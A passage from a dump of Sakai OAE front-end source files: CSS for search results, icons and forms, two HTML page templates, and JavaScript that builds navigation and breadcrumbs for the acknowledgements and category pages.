.jq_pager{clear:both;border-bottom: 1px solid #e9e9e9;}\n.s3d-search-result-detail-separator{color:#cccccc;margin: 0 5px;}\n.s3d-search-result:hover{background-color:#f2f9fc;}\n\n/* search results common elements in content people and group results */\n.s3d-search-result-content .searchcontent_result_usedin_icon, .s3d-search-result-group .searchgroups_result_usedin_icon{background: url(\"/devwidgets/entity/images/entity_used_by_icon.png\") no-repeat scroll left top transparent;}\n.s3d-search-result-content .searchcontent_result_comments_icon, .s3d-search-result-group .searchgroups_result_comments_icon{background: url(\"/devwidgets/entity/images/entity_comment_icon.png\") no-repeat scroll left top transparent;}\n.s3d-search-result-content .searchcontent_result_left_filler, .s3d-search-result-person .searchpeople_result_left_filler, .s3d-search-result-group .searchgroups_result_left_filler{margin:1px 8px 0 0;display: inline;float: left;height: 25px;width: 17px;}\n.s3d-search-result-content .searchcontent_result_plus, .s3d-search-result-person .searchpeople_result_plus, .s3d-search-result-group .searchgroups_result_plus{color:#e4e4e4;font-size:x-large;font-weight:100;margin:-5px 10px 10px -2px;}\n.s3d-search-result-content .searchcontent_result_icon, .s3d-search-result-person .searchpeople_result_icon, .s3d-search-result-group .searchgroups_result_icon{display:inline-block;height:10px;width:15px;}\n.s3d-search-result-content .searchcontent_result_description, .s3d-search-result-person .searchperson_result_description, .s3d-search-result-group .searchgroup_result_description{word-wrap:break-word;}\n/* search results hide elements used in grid view by default */\n.s3d-search-result-content .searchcontent_result_description_grid, .s3d-search-result-person .searchpeople_result_description_grid, .s3d-search-result-group .searchgroups_result_description_grid,\n.s3d-search-result-name-grid, .s3d-search-result-tag-grid, .s3d-search-result-avatar-large,\n.s3d-search-result-content .searchcontent_result_by_name_grid{display:none;}\n\n/* search results content */\n.s3d-search-result-content .searchcontent_result_description{margin:0 0 5px;color:#333;font-size:11px;padding:6px 0; word-wrap: break-word;}\n.s3d-search-result-content .searchcontent_result_mimetype{font-size:smaller;white-space:pre;text-transform:uppercase;}\n.s3d-search-result-content .searchcontent_result_by{padding:3px 0;font-size:11px;}\n.s3d-search-result-content .searchcontent_result_detail_separator{color:#cccccc;}\n.s3d-search-result-content .searchcontent_result_usedin{margin-top:2px;font-size:11px;}\n.s3d-search-result-content .searchcontent_result_share_icon{display:inline-block;float:right;margin-left:10px;}\n.s3d-search-result-content .searchcontent_result_author_icon{margin-left:8px;display:inline-block;float:right;}\n\n/* search results people */\n.s3d-search-result-person .searchpeople_result_person{margin:5px 8px 10px;padding:10px;width:280px;background-color:#FFF;height:50px;float:left;border:none;overflow:hidden;}\n.s3d-search-result-person .searchpeople_result_person_picture{float:left;display:block;width:48px;height:48px;padding:0;margin:0;}\n.s3d-search-result-person .searchpeople_result_dot{display:block;float:left;position:relative;left:5px;}\n.s3d-search-result-person .searchpeople_result_person_dept{display:block;color:#999;font-size:.85em;margin:0 0 4px 57px;line-height:12px;}\n.s3d-search-result-person .searchpeople_result_person_links{margin-left:57px;}\n.s3d-search-result-person .searchpeople_result_person_link{font-size:.85em;}\n.s3d-search-result-person .searchpeople_result_person_divider{color:#ddd;margin:0 0 0 0px!important;}\n.s3d-search-result-person .searchpeople_result_person_threedots{display:block;width:150px;}\n.s3d-search-result-person .searchpeople_result_counts{padding:3px 0;font-size:11px;}\n.s3d-search-result-person .searchpeople_result_message_icon{display:inline-block;float:right;}\n\n/* search results groups */\n.s3d-search-result-group .searchgroups_result_grouptype {font-size:smaller;white-space:pre;}\n.s3d-search-result-group .searchgroups_result_message_icon{display:inline-block;float:right;}\n.s3d-search-result-group .searchgroups_result_usedin{font-size: 11px;padding:3px 0;}\n.s3d-search-result-group .searchgroups_result_comments_icon{margin-left:8px;}\n.s3d-search-result-group .searchgroups_result_description{color:#333;font-size:.90em;padding:3px 0;word-wrap: break-word;}\n.s3d-search-result-group .searchgroups_result_plus{margin:1px 8px 0 0;display:inline;float:left;height:17px;width:17px;}\n.s3d-search-result-group .searchgroups_result_plus:hover{cursor:pointer;}\n\n/* search results grid */\n.s3d-search-results-grid{border:0 !important;border-top:1px solid #ddd !important;padding-top:5px;border-spacing:10px;}\n.s3d-search-results-grid .s3d-search-result{width:150px;height:232px;overflow:hidden;border: 1px solid #FFFFFF !important;float:left;position:relative;margin:0 8px 8px 0;clear:none;}\n.s3d-search-results-grid .s3d-search-result a img{float:left !important;padding:0 !important;margin-left:24px;width:100px !important;height:100px !important;position:absolute;}\n.s3d-search-results-grid .s3d-search-result-anonuser{display:none !important;}\n.s3d-search-results-grid .s3d-search-result-right{margin:135px 0 0 7px;}\n.s3d-search-results-grid .s3d-search-result-user-functions{position:absolute;float:left !important;margin:110px 0 0 21px !important;}\n.s3d-search-results-grid .s3d-search-result-content .s3d-actions-addtolibrary{margin-right:8px;}\n.s3d-search-results-grid .s3d-search-result-content .s3d-actions-author{margin-right:20px;}\n.s3d-search-results-grid .s3d-search-result-content .searchcontent_result_usedin_line{display:block;margin-bottom:2px;}\n.s3d-search-results-grid .s3d-search-result-group .s3d-actions-message{margin-left:60px;}\n.s3d-search-results-grid .s3d-search-result-group .searchgroups_result_plus{margin-top:-1px;}\n.s3d-search-results-grid .s3d-search-result-person .searchpeople_result_left_filler{margin: 0 70px 0 -50px;}\n.s3d-search-results-grid .s3d-search-result-detail-separator{display:block;}\n.s3d-search-results-grid .s3d-search-result-detail-separator span{display:none;}\n.s3d-search-results-grid .searchpeople_result_description, .s3d-search-results-grid .searchgroups_result_description, .s3d-search-results-grid .searchcontent_result_description,\n.s3d-search-results-grid .s3d-search-result-name, .s3d-search-results-grid .s3d-search-result-tag,\n.s3d-search-results-grid .searchcontent_result_by_name{display:none;}\n.s3d-search-results-grid .searchpeople_result_description_grid, .s3d-search-results-grid .searchgroups_result_description_grid, .s3d-search-results-grid .searchcontent_result_description_grid{display:none;word-wrap:break-word;}\n.s3d-search-results-grid .s3d-search-result-name-grid, .s3d-search-results-grid .s3d-search-result-tag-grid, .s3d-search-results-grid .s3d-search-result-avatar-large,\n.s3d-search-results-grid .searchcontent_result_by_name_grid{display:inline;}\n.s3d-search-results-grid ~ .jq_pager{border:0;}\n.s3d-search-results-grid .s3d-search-result:hover{border: 1px solid #e9e9e9;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;}\n\n/* search results anon user */\n.s3d-search-results-anon .s3d-search-result-user-functions{display:none;}\n.s3d-search-results-anon .s3d-search-result-anonuser{display:inline;float:left;height:15px;width:15px;}\n.s3d-search-results-anon .s3d-search-results-grid .s3d-search-result-right{margin:110px 0 0 0;}\n\n/* Search list or grid view buttons */\n.s3d-search-listview-options {float:right;padding:0!important;height:19px!important;margin-left:20px;}\n.s3d-search-listview-options:hover {background:#fff!important;box-shadow:0 0 4px -2px #A8A8A8 inset!important;}\n.s3d-search-listview-options > div {float:left;height:15px;padding:3px 4px 2px;}\n.s3d-search-listview-options > div.selected, .s3d-search-listview-options > div:hover {background:url(\"/dev/images/button_header_hover.png\") repeat-x scroll left -1px transparent;box-shadow:0 0 4px -2px #A8A8A8 inset;} \n.s3d-search-listview-options .search_view_list {border-radius:0 5px 5px 0;}\n.s3d-search-listview-options .search_view_grid {border-radius:5px 0 0 5px;}\n.s3d-search-listview-options .s3d-action-icon {display:block!important;}\n\n/* Search icons */\n.s3d-search-results-gridview {background:url('/dev/images/search_grid_16x16.png') no-repeat top left transparent;}\n.s3d-search-results-gridview:hover {background:url('/dev/images/search_grid_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-gridview.selected {background:url('/dev/images/search_grid_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-listview {background:url('/dev/images/search_list_16x16.png') no-repeat top left transparent;}\n.s3d-search-results-listview:hover {background:url('/dev/images/search_list_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-listview.selected {background:url('/dev/images/search_list_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-carouselview {background:url('/dev/images/search_carousel_16x16.png') no-repeat top left transparent;margin-top:-2px;}\n.s3d-search-results-carouselview:hover {background:url('/dev/images/search_carousel_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-carouselview.selected {background:url('/dev/images/search_carousel_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-blogview {background:url('/dev/images/search_blog_16x16.png') no-repeat top left transparent;margin-top:-1px;}\n.s3d-search-results-blogview:hover {background:url('/dev/images/search_blog_16x16_hover.png') no-repeat top left transparent;}\n.s3d-search-results-blogview.selected {background:url('/dev/images/search_blog_16x16_hover.png') no-repeat top left transparent;}\n\n/*\n * Progress indicator\n */\n#sakai_progressindicator {margin-top:25px;}\n#sakai_progressindicator h1, #sakai_progressindicator p {text-align:center;}\n#sakai_progressindicator .s3d-inset-shadow-container {height:50px;padding-top:30px;}\n#sakai_progressindicator .s3d-inset-shadow-container img {display:block;height:20px;margin-left:auto;margin-right:auto;width:188px;}\n\n/*\n * ICONS\n */\n.s3d-icon-16{width:16px; height:16px;}\n.s3d-icon-32{width:32px; height:32px;}\n.s3d-icon-40{width:40px; height:40px;}\n.s3d-icon-50{width:50px; height:50px;}\n.s3d-icon-64{width:64px; height:64px;}\n.s3d-icon-128{width:128px; height:128px;}\n.icon-audio-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -958px 0 transparent;}\n.icon-doc-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -112px 0 transparent;}\n.icon-pdf-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -750px 0 transparent;}\n.icon-pps-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -463px 0 transparent;}\n.icon-swf-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1040px 0 transparent;}\n.icon-zip-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1056px 0 transparent;}\n.icon-spreadsheet-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -560px 0 transparent;}\n.icon-txt-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1086px 0 transparent;}\n.icon-image-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -320px 0 transparent;}\n.icon-html-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -302px 0 transparent;}\n.icon-video-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1118px 0 transparent;}\n.icon-sound-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -622px 0 transparent;}\n.icon-kmultiple-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -430px 0 transparent;}\n.icon-url-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -304px 0 transparent;}\n.icon-sakaidoc-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -1185px 0 transparent;}\n.icon-unknown-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -143px 0 transparent;}\n.icon-collection-sprite{background:url(/dev/images/icons_sprite.png) no-repeat scroll -430px 0 transparent;}\n\n/*\n * Forms and Validation\n */\n.s3d-form-field-wrapper{position:relative;}\n.s3d-form-field-wrapper input, .s3d-form-field-wrapper textarea, .s3d-form-field-wrapper select,.s3d-form-field-wrapper ul.as-selections{float:left;clear:right;margin-bottom:15px;}\n.s3d-form-field-wrapper input, .s3d-form-field-wrapper textarea{width:55%;padding:0 5px;}\n.s3d-form-field-wrapper ul.as-selections input{padding:0px;}\n.s3d-form-field-wrapper textarea{padding:5px;}\n.s3d-form-field-wrapper input.s3d-input-full-width, .s3d-form-field-wrapper textarea.s3d-input-full-width{width:98%;clear:both;}\n.s3d-form-field-wrapper ul.as-selections{padding: 0px 5px;width:98%;}\n.s3d-form-field-wrapper input{height:21px;}\n.s3d-form-field-wrapper label.s3d-input-label{float:left;width:35%;clear:left;text-align:right;padding:5px 2%;color:#666;}\n.s3d-form-field-wrapper label.s3d-input-label-above{width:100%;clear:both;text-align:left;padding:0;}\n.s3d-form-field-wrapper input.s3d-error, .s3d-form-field-wrapper textarea.s3d-error,.s3d-form-field-wrapper input.s3d-error-after, .s3d-form-field-wrapper textarea.s3d-error-after, .s3d-form-field-wrapper ul.as-selections.s3d-error{border:3px solid #cc0000;}\n.s3d-form-field-wrapper span.s3d-error{clear:both;background-color:#cc0000;color:#fff;padding:0 5px;width:55%;float:left;margin-left:39%;border:3px solid #cc0000;font-size:11px;}\n.s3d-form-field-wrapper span.s3d-error-after{clear:both;background-color:#cc0000;color:#fff;padding:0 5px;width:98%;float:left;margin-left:0;border:3px solid #cc0000;font-size:11px;}\n.s3d-form-field-wrapper input::-webkit-input-placeholder, .s3d-form-field-wrapper textarea::-webkit-input-placeholder {color:#aaa;font-size:12px;}\n.s3d-form-field-wrapper input:-moz-placeholder, .s3d-form-field-wrapper textarea:-moz-placeholder {color:#aaa;font-size:12px;}\n\n/*\n * Drag and Drop\n */\n.s3d-draggable-draggingitems {background-color:#1098d5;color:#fff;padding:4px 7px;display:inline-block;font-size:11px;box-shadow:0px 1px 3px 0 #999;-moz-box-shadow:0px 1px 3px 0 #999;-webkit-box-shadow:0px 1px 3px 0 #999;}\n#s3d-draggeditems-container li {background:#e9f4f8;border:2px solid #d5e9f3;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;margin-bottom:2px;}\n#s3d-draggeditems-container .s3d-draggable-hidden{display:none;}\n", "dev/css/sakai/sakai.corev1.css": "/**\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n.s3d-page-column-left{float:left;width:187px;min-height:500px;border-top:solid #d6dadd 1px;background:url(\"/devwidgets/lhnavigation/images/lhnav_bg.png\") repeat-x scroll 0 0 #FEFEFE;}\n.s3d-page-column-right{float:left;width:773px;border-left:1px solid #d6dadd; border-top:1px solid #d6dadd;padding:20px;box-shadow: 3px -10px 7px 0;-moz-box-shadow: 3px -10px 7px 0;-webkit-box-shadow: 3px -10px 7px 0;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;}\n.s3d-page-fullcolumn-nopadding{width:960px;min-height:100px;border-top:solid #d6dadd 1px;}\n.s3d-page-fullcolumn-padding{width:920px;min-height:100px;border-top:solid #d6dadd 1px; padding: 20px 20px 30px;}\n.s3d-page-content-padding{padding: 10px 0px 20px;}\n.s3d-page-content-lowpadding{padding: 0px 0px 20px;}\n.s3d-page-full{height:100px;}\n.s3d-navigation-container{background: url(\"/devwidgets/topnavigation/images/topnav_bg.png\") repeat-x scroll left top transparent;-moz-box-shadow:0 -5px 9px 6px #555555;-webkit-box-shadow:0 -5px 9px 6px #555555;box-shadow:0 -5px 9px 6px #555555;height: 40px;margin-left: auto;margin-right: auto;position: absolute;width: 100%;z-index: 999;}\n.s3d-page-header{background:url(\"/devwidgets/entity/images/entity_bottom_bordershadow.png\") repeat-x scroll left bottom, url(\"/devwidgets/entity/images/entity_bg.png\") repeat-x scroll left top #f7f7f7;border-bottom: 1px solid #B3B3B4;min-height: 45px;margin-top: 40px;width:960px;}\n.s3d-page-header.collection_modified {padding:0px;height:auto;width:960px;-moz-box-shadow:0 -5px 9px 6px #555555;-webkit-box-shadow:0 -5px 9px 6px #555555;box-shadow:0 -5px 9px 6px #555555;min-height:0;border-bottom:0;}\n.s3d-fixed-container .s3d-container-shadow-left, .s3d-container-shadow-right {background:url(\"/dev/images/container_shadow_left.png\") no-repeat scroll 0 0 transparent;height:346px;position:absolute;width:5px;margin-left:-5px;}\n.s3d-container-shadow-right{background: url(\"/dev/images/container_shadow_right.png\") no-repeat scroll 0 0 transparent;float: right;margin-left:960px;}\n\n/* CSS THAT OVERWRITES MAIN CSS */\n.s3d-main-container {padding: 0px !important;}\n.fixed-container.s3d-main-container{width:960px;}\n.s3d-twocolumn{background-color:#fff;}\n.requireUser, .requireAnon {background: url(\"/dev/images/grey_bg.png\") repeat-x scroll left -91px #f2f2f2 !important;}\n.s3d-header .fixed-container {padding:0 !important; width:960px;}\n.s3d-header .s3d-fixed-container .s3d-decor-left {margin-left:0;}\n.s3d-header .s3d-fixed-container .s3d-decor {margin-right:0;}\n.s3d-header .s3d-fixed-container .s3d-decor-left {background: url(\"/dev/images/pageHeader_tl.png\") no-repeat scroll 0 0 transparent;}\n.s3d-header .s3d-fixed-container .s3d-decor {background: url(\"/dev/images/pageHeader_tr.png\") no-repeat scroll 0 0 transparent;}\n.s3d-header .s3d-navigation-container{min-width:960px;}\n\n/* Page titles */\n.s3d-contentpage-title {border-bottom:5px solid #E1E1E1; color:#424242; font-size:1.25em; padding:8px 0; margin-bottom: 15px;}\n\n/* Page bottom */\n.s3d-bottom-spacer {clear: both; padding-bottom: 40px;}\n", "dev/group.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n\n    <head>\n\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n\n        <!-- Sakai Core CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n\n        <!-- Sakai Page CSS -->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.group.css\" />\n\n    </head>\n    <body class=\"fl-centered show i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_entity\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_addarea\" class=\"widget_inline\"></div>\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                    <div id=\"group_create_new_area_container\" style=\"display:none;\">\n                        <div class=\"s3d-popout-button-shadow\"></div>\n                        <button type=\"button\" id=\"group_create_new_area\" class=\"s3d-button s3d-header-button s3d-popout-button\"><span>+</span>__MSG__ADD__</button>\n                    </div>\n                </div>\n                <div class=\"s3d-page-column-right\">\n                    <div id=\"group_sakaidoc_container\" class=\"s3d-page-content-lowpadding\">\n                        <div id=\"s3d-page-main-content\"></div>\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <!-- Area Permissions overlay -->\n        <div id=\"widget_areapermissions\" class=\"widget_inline\"></div>\n\n        <div id=\"widget_worldsettings\" class=\"widget_inline\"></div>\n\n        <div id='widget_addpeople' class='widget_inline'></div>\n\n        <div id='widget_joinrequests' class='widget_inline'></div>\n\n        <div id=\"widget_deletegroup\" class=\"widget_inline\"></div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script src=\"/dev/lib/tinymce/tiny_mce_src.js\" language=\"JavaScript\" type=\"text/javascript\"></script>\n\n        <!-- GROUP JS -->\n        <script>require([\"/dev/javascript/group.js\"]);</script>\n\n    </body>\n</html>\n", "dev/index.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.explore.css\" />\n    </head>\n    <body class=\"fl-centered explore i18nable\">\n\n        <div style=\"display:none\">__MSG__IE_PLACEHOLDER__</div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_collections\" class=\"widget_inline\"></div>\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                    <div id=\"explore_categories\"></div>\n                    <div id=\"explore_categories_template\"><!--\n                        <div id=\"widget_categories\" class=\"widget_inline\"></div>\n                    --></div>\n                    <div id=\"explore_navigation\">\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"explore_content\">\n                <div id=\"explore_content_second_column\">\n                    <div id=\"widget_recentactivity\" class=\"widget_inline\"></div>\n                </div>\n                <div id=\"explore_content_first_column\">\n                    <div id=\"widget_welcome\" class=\"widget_inline\"></div>\n                    <hr class=\"s3d-split-line\"/>\n                    <div id=\"widget_featuredcontent\" class=\"widget_inline\"></div>\n                </div>\n            </div>\n            <div class=\"s3d-bottom-spacer\"></div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/explore.js\"]);</script>\n    </body>\n</html>", "dev/javascript/acknowledgements.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.acknowledgements = function() {\n        \n        var pubdata = {\t\n            \"structure0\": {\n                \"featured\": {\n                    \"_ref\": \"id1\", \n                    \"_title\": \"Featured\",\n                    \"_order\": 0,\n                    \"main\": {\n                        \"_ref\": \"id2\",\n                        \"_order\": 0,\n                        \"_title\": \"Featured\"\n                    }\n                },\n                \"ui\": {\n                    \"_ref\": \"id2\", \n                    \"_title\": \"UI Technologies\",\n                    \"_order\": 1,\n                    \"main\": {\n                        \"_ref\": \"id2\",\n                        \"_order\": 0,\n                        \"_title\": \"UI Technologies\"\n                    }\n                },\n                \"nakamura\": {\n                    \"_title\": \"Back-end Technologies\", \n                    \"_ref\": \"id3\",\n                    \"_order\": 2,\n                    \"main\": {\n                        \"_ref\": \"id3\",\n                        \"_order\": 0,\n                        \"_title\": \"Back-end Technologies\"\n                    }\n                }\n            },\n            \"id1\": {\n                \"page\": $(\"#acknowledgements_featured\").html()\n            },\n            \"id2\": {\n                \"page\": $(\"#acknowledgements_uitech\").html()\n            },\n            \"id3\": {\n                \"page\": $(\"#acknowledgements_backendtech\").html()\n            }\n        };\n\n        var generateNav = function(){\n            $(window).trigger(\"lhnav.init\", [pubdata, {}, {}]);\n        };\n        \n        var renderEntity = function(){\n            $(window).trigger(\"sakai.entity.init\", [\"acknowledgements\"]);\n        };\n\n        $(window).bind(\"lhnav.ready\", function(){\n            generateNav();\n        });\n        \n        $(window).bind(\"sakai.entity.ready\", function(){\n            renderEntity(); \n        });\n        \n        generateNav();\n        renderEntity();\n    \n    };\n\n    sakai.api.Widgets.Container.registerForLoad(\"acknowledgements\");\n});\n", "dev/javascript/category.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\nrequire([\"jquery\",\"sakai/sakai.api.core\"], function($, sakai) {\n\n    sakai_global.category = sakai_global.category || {};\n\n    sakai_global.category = function() {\n\n        var originalTitle = document.title;\n        var pubdata = {};\n        var privdata = {};\n\n        // Containers\n        var $exploreNavigation = $(\"#explore_navigation\");\n        var toplevelId = \"\";\n\n        // Templates\n        var exploreNavigationTemplate = \"explore_navigation_template\";\n\n        /**\n         * Create the breadcrumb data and render on screen\n         * @param {Object} dirData Object that contains children for the category\n         * @param {Array} bbqData Array of IDs fetched with bbq to help identify correct children\n         */\n        var createBreadcrumb = function(dirData, bbqData){\n            if (!dirData){\n                sakai.api.Security.send404();\n                return false;\n            }\n            // Create top level breadcrumb\n            var breadcrumb = [];\n            breadcrumb.push({\n                \"title\": sakai.api.i18n.getValueForKey(\"ALL_CATEGORIES\"),\n                \"id\": bbqData[0],\n                \"link\": true,\n                \"url\": \"/categories\"\n            });\n            breadcrumb.push({\n                \"title\": dirData.title,\n                \"id\": dirData.id,\n                \"link\": bbqData.length - 1\n            });\n            bbqData.splice(0,1);\n\n            // Create children level breadcrumb\n            var children = dirData.children[bbqData[0]];\n            $.each(bbqData, function(index, item){\n                breadcrumb.push({\n                    \"title\": children.title,\n                    \"id\": item,\n                    \"link\": bbqData.length - 1 - index\n                });\n                if (children.children) {\n                    children = children.children[bbqData[index]];\n                }\n            });\n\n            $exploreNavigation.html(sakai.api.Util.TemplateRenderer(exploreNavigationTemplate,{\"breadcrumb\": breadcrumb}));\n            document.title = originalTitle + \" \" + dirData.title;\n        };\n\n        /**\n         * Generate the navigation object and pass it to the left hand navigation widget\n         * @param {Object} navData Contains all data from the category the user is currently viewing\n         */\n        var generateNav = function(navData){\n\n            toplevelId = navData.id;\n\n            pubdata = {\n                \"structure0\": {}\n            };\n            privdata = {\n                \"structure0\": {}\n            };\n\n            var rnd =  sakai.api.Util.generateWidgetId();\n            privdata[\"structure0\"][navData.id] = {\n                \"_order\": 0,\n                \"_ref\": rnd,\n                \"_title\": navData.title\n            };\n\n            // featuredcontent, featured people and featuredworld random numbers\n            var fcRnd = sakai.api.Util.generateWidgetId();\n            var fpRnd = sakai.api.Util.generateWidgetId();\n            var fwRnd = sakai.api.Util.generateWidgetId();\n            privdata[rnd] = {\n                page: \"<div class=\\\"s3d-contentpage-title\\\"><!----></div><div id=\\\"widget_featuredcontent_\" + fcRnd + \"\\\" class=\\\"widget_inline\\\"></div><div id=\\\"widget_featuredpeople_\" + fpRnd + \"\\\" class=\\\"widget_inline\\\"></div><div id=\\\"widget_featuredworlds_\" + fwRnd + \"\\\" class=\\\"widget_inline\\\"></div>\"\n            };\n            privdata[fcRnd] = {\n                category: navData.id,\n                title: navData.title\n            };\n            privdata[fpRnd] = {\n                category: navData.id,\n                title: navData.title\n            };\n            privdata[fwRnd] = {\n                category: navData.id,\n                title: navData.title\n            };\n\n            var count = 0;\n            $.each(navData.children, function(index, item){\n                var rnd = sakai.api.Util.generateWidgetId();\n                pubdata[\"structure0\"][navData.id + \"-\" + index] = {\n                    \"_ref\": rnd,\n                    \"_order\": count,\n                    \"_title\": item.title,\n                    \"main\": {\n                        \"_ref\": rnd,\n                        \"_order\": 0,\n                        \"_title\": item.title\n                    }\n                };\n\n                // featuredcontent, featured people and featuredworld random numbers\n                var fcRnd = sakai.api.Util.generateWidgetId();\n                var fpRnd = sakai.api.Util.generateWidgetId();\n                var fwRnd = sakai.api.Util.generateWidgetId();\n                pubdata[rnd] = {\n                    page: \"<div class=\\\"s3d-contentpage-title\\\"><!----></div><div id=\\\"widget_featuredcontent_\" + fcRnd + \"\\\" class=\\\"widget_inline\\\"></div><div id=\\\"widget_featuredpeople_\" + fpRnd + \"\\\" class=\\\"widget_inline\\\"></div><div id=\\\"widget_featuredworlds_\" + fwRnd + \"\\\" class=\\\"widget_inline\\\"></div>\"\n                };\n                pubdata[fcRnd] = {\n                    category: navData.id + \"-\" + index,\n                    title: navData.title + \" \u00bb \" + item.title\n                };\n                pubdata[fpRnd] = {\n                    category: navData.id + \"-\" + index,\n                    title: navData.title + \" \u00bb \" + item.title\n                };\n                pubdata[fwRnd] = {\n                    category: navData.id + \"-\" + index,\n                    title: navData.title + \" \u00bb \" + item.title\n                };\n\n                count++;\n            });\n            $(window).trigger(\"lhnav.init\", [pubdata, privdata, {}]);\n        };\n\n        /**\n         * Get the category out of the URL and give it back\n         